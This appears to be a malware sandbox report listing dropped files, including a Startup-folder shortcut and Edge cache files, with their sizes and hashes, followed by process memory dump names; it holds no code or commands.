7987e1731d78c35a46e45e8c990908d53a215a4c39339e562e86772d8acf3eabb63b916564056de7cb93288f9ce825454dd8218f502fa7d9c761396441b7e1a7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Watch.lnk

Filesize
890B

MD5
68cbb993d1ecce360093944e78b4c35d

SHA1
f520c238b7f01e40f7944ce8c051fbe7022f52cc

SHA256
6590f52d8aae89fd8dad6f93fbe821e946867058ff8f22abab8b694051343769

SHA512
9328b117e70c8e8a733a1ba6dd22daf5da2b4f4feda3ed6e960695dfda3b8444e8c51b9d4f5f372dcfe12fef1b6bdee852fb83aaccd6787e473d088cc68afb88

Download Submit
C:\temp-edge\Default\Code Cache\js\2128daf42dd2da1a_0

Filesize
178B

MD5
a24d157c6ed0f6d21d0eb81da912aaa5

SHA1
4dddaef4c1d93f95e1a0f5efe77996a3dcd055f8

SHA256
b39d7540e9c051840a8e5b06fde146c9e56e21521abbfa0233ca1a217843a7b3

SHA512
42756cb101bd5565e498836fcf2d5cc0732cd1ca9c263e3987151a506482c2b92a9483b625bc344c4bc4a021f6d465d78a9daaf0bdeb62df4786146c3d363a5b

Download Submit
C:\temp-edge\Default\Code Cache\js\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\temp-edge\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
ff1e5f89f5418cf0c22a7a4ad198f382

SHA1
0962c7feba70d546590943ea53457547246410b1

SHA256
cedf4b607dcadab1c174722fc2af78eea2fa7548f8a7a827628cfa8bd37f2b95

SHA512
3bd27616ad0919cc5282edb787e664c40af9043a6e36881a234d222b6fe062945d4c4c4e9ce57369e9a104a96e6d9f1572f40563e7c0f6637982c9c30f6ec96b

Download Submit
C:\temp-edge\Default\Code Cache\js\index-dir\the-real-index

Filesize
96B

MD5
32fdadbdd1520440bd36a18b683f0dcf

SHA1
9bdd822f637e0d46f7bccc7d4ff90c46cc3437fc

SHA256
ea84cec61879530ef68f75ca650b7b2156197e1f78cd2d0f69bf3287edc67e66

SHA512
ab1b96311d75bd9236de9a9a652d6d13239e8acb9a8b41c48a946003d798bd5534c47ab3703beac757d5d9c55f83c227b2debd555afcbb4799b3f7044b7a7b5c

Download Submit
C:\temp-edge\Default\Code Cache\wasm\index-dir\temp-index

Filesize
48B

MD5
0267d7e8d55a7f5516f7a01991e9223d

SHA1
a3e3fa02f9ba56f043370213bb5e304225851f7e

SHA256
60830cf3cb4407f4bc29c75af2e8ccafbfe02d3e938c224dd742b60dd9c741db

SHA512
31a69f7178314ffbcb5c291f7c4b831bfc3adfee797f0e95abe4225b9be452965726c1a37f56ab9d800ef82433527edfc6c2590ded1f4cdcb214aba393cecc8c

Download Submit
C:\temp-edge\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\temp-edge\Default\Shared Dictionary\cache\index-dir\temp-index

Filesize
48B

MD5
c8d7d73415d9997e2cc42f7d9f146602

SHA1
9b40072a1f857bdddaed81b8d718d1c29bbce8c9

SHA256
aa0713d5d9e051879f67f30e261d0201bddb31a6a2a2e2f51e7e411c5dbbf4a5

SHA512
7ecb7b2ff9d049b1a69f2c81199390961e579ac68ff1222a6fee4c179c162ea7e23b53c36d369d151ff06c772225e661755eb010c5559e7343386f1f525cdc9c

Download Submit
C:\temp-edge\Default\shared_proto_db\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\temp-edge\DevToolsActivePort

Filesize
59B

MD5
17441e7abacb86f3b2dbcb928eddee3a

SHA1
3ffd8f2ac662e79c5539974435f128137e222362

SHA256
2bce5945430d5e9e305494c68c09892672b84106adb6cf254c3ac7f580a8f9c3

SHA512
bbc64adc81602bd5366abe149201f456fc27d23c726202af7187c4daa3b4079726e1b0511d145c6a1ac3968a177598973e5995e463350389245b810afcb1555f

Download Submit
memory/1192-44-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp

Filesize
10.8MB

Download
memory/1192-29-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp

Filesize
10.8MB

Download
memory/1192-30-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp

Filesize
10.8MB

Download
memory/5084-20-0x000001F810130000-0x000001F810152000-memory.dmp

Filesize
136KB

Download
memory/5084-21-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp

Filesize
10.8MB

Download
memory/5084-22-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp

Filesize
10.8MB

Download
memory/5084-27-0x00007FF82DDE0000-0x00007FF82E8A1000-memory.dmp

Filesize
10.8MB

Download
memory/5084-10-0x00007FF82DDE3000-0x00007FF82DDE5000-memory.dmp

Filesize
8KB

Download
memory/5640-177-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-189-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-188-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-187-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-186-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-185-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-184-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-183-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-178-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download
memory/5640-179-0x000001C0AF170000-0x000001C0AF171000-memory.dmp

Filesize
4KB

Download